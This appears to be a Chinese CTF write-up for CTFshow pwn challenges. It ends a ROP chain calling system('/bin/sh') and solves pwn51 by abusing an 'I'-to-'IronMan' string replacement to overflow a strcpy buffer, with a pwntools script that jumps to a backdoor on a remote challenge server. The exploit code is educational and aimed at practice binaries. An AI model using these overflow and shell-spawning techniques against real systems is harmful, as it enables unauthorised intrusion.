payload += p64(ret_gadget) # 栈对齐用的ret指令
payload += p64(pop_rdi_ret) # pop rdi gadget
payload += p64(binsh_addr) # /bin/sh字符串地址
payload += p64(system_addr) # system函数地址

io.sendlineafter(b"Hello CTFshow", payload) # 再次等待提示后发送

# 获取shell
io.interactive()

这集神了 做了得有多久..

pwn51

1
2
3
4
5
6
7
8
9
$ checksec pwn
[*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/51/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=948891884c9b0d405b050ac809c06cbb25e49774, stripped

32位动态链接

打开ida分析一下,在String中能找到后门函数和IronMan等等信息

追踪一下能找到溢出的函数:(以下函数改过名字了 我自己方便看)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int func_overflow()
{
int v0; // eax
int v1; // eax
unsigned int i_1; // eax
int v3; // eax
const char *src; // eax
int v6; // [esp-Ch] [ebp-84h]
int v7; // [esp-8h] [ebp-80h]
_BYTE v8[12]; // [esp+0h] [ebp-78h] BYREF
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF
_BYTE v10[24]; // [esp+2Ch] [ebp-4Ch] BYREF
_BYTE v11[24]; // [esp+44h] [ebp-34h] BYREF
unsigned int i; // [esp+5Ch] [ebp-1Ch]

memset(s, 0, sizeof(s));
puts("Who are you?");
read(0, s, 0x20u);
std::string::operator=(&obj__0, &unk_804A350);
std::string::operator+=(&obj__0, s);
std::string::basic_string(v10, &obj__1);
std::string::basic_string(v11, &obj__0);
split_func(v8);
std::string::~string(v11, v11, v10);
std::string::~string(v10, v6, v7);
if ( sub_80496D6(v8) > 1u )
{
std::string::operator=(&obj__0, &unk_804A350);
v0 = sub_8049700(v8, 0);
if ( (unsigned __int8)sub_8049722(v0, &unk_804A350) )
{
v1 = sub_8049700(v8, 0);
std::string::operator+=(&obj__0, v1);
}
for ( i = 1; ; ++i )
{
i_1 = sub_80496D6(v8);
if ( i_1 <= i )
break;
std::string::operator+=(&obj__0, "IronMan");
v3 = sub_8049700(v8, i);
std::string::operator+=(&obj__0, v3);
}
}
src = (const char *)std::string::c_str(&obj__0);
strcpy(s, src);
printf("Wow!you are:%s", s);
return sub_8049616(v8);
}

大致意思是某个字符会被代替为IronMan

1
2
3
4
int bkdoor()
{
return system("cat /ctfshow_flag");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __userpurge split_func@<eax>(int a1, int a2, int a3)
{
int v3; // eax
int v5; // [esp-Ch] [ebp-54h]
int i_1; // [esp-8h] [ebp-50h]
_BYTE v7[24]; // [esp+Ch] [ebp-3Ch] BYREF
unsigned int i_3; // [esp+24h] [ebp-24h]
int i_2; // [esp+28h] [ebp-20h]
int i; // [esp+2Ch] [ebp-1Ch]

sub_80495F4(a1);
std::string::operator+=(a2, a3);
i_2 = std::string::size(a2);
for ( i = 0; i < i_2; ++i )
{
i_3 = std::string::find(a2, a3, i);
if ( i_3 < i_2 )
{
i_1 = i;
std::string::substr(v7);
sub_8049662(a1, v7);
v3 = std::string::size(a3);
i = v3 + i_3 - 1;
std::string::~string(v7, v5, i_1);
}
}
return a1;
}

这里就可以找一找那个字符作为分割:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl replacement_letter_func(int a1, int n0xFFFF)
{
int result; // eax
_DWORD v3[6]; // [esp+Fh] [ebp-19h] BYREF

if ( a1 == 1 && n0xFFFF == 0xFFFF )
{
std::ios_base::Init::Init((std::ios_base::Init *)&obj_);
__cxa_atexit((void (*)(void *))&std::ios_base::Init::~Init, &obj_, &lpdso_handle_);
std::string::basic_string(&obj__0);
__cxa_atexit((void (*)(void *))&std::string::~string, &obj__0, &lpdso_handle_);
std::allocator<char>::allocator(v3);
std::string::basic_string(&obj__1, "I", v3);
std::allocator<char>::~allocator(v3);
return __cxa_atexit((void (*)(void *))&std::string::~string, &obj__1, &lpdso_handle_);
}
return result;
}

发现是I字符被替换

1
2
3
replacement_letter_func (sub_804948A)
└──> std::string::basic_string(&obj__1, "I", v3)
└──> 全局变量 unk_804D0B8 = "I" (分隔符)

好我们回到溢出函数中的溢出部分:

1
2
3
4
5
6
char s[32]; // [esp+Ch] [ebp-6Ch] BYREF

...

src = (const char *)std::string::c_str(&obj__0);
strcpy(s, src);

这么来看就是在分割替换之后才能完成栈溢出

所以payload如下

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
elf = ELF(r"E:\CTF\pwn学习\CTFSHOW\51\pwn")
# elf = ELF(r"/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/51/pwn")

p = remote('pwn.challenge.ctf.show', 28252)

offset = 16
backdoor = 0x804902E
payload = offset*b"I"+p32(backdoor)

p.sendlineafter(b"Who are you?", payload)
p.interactive()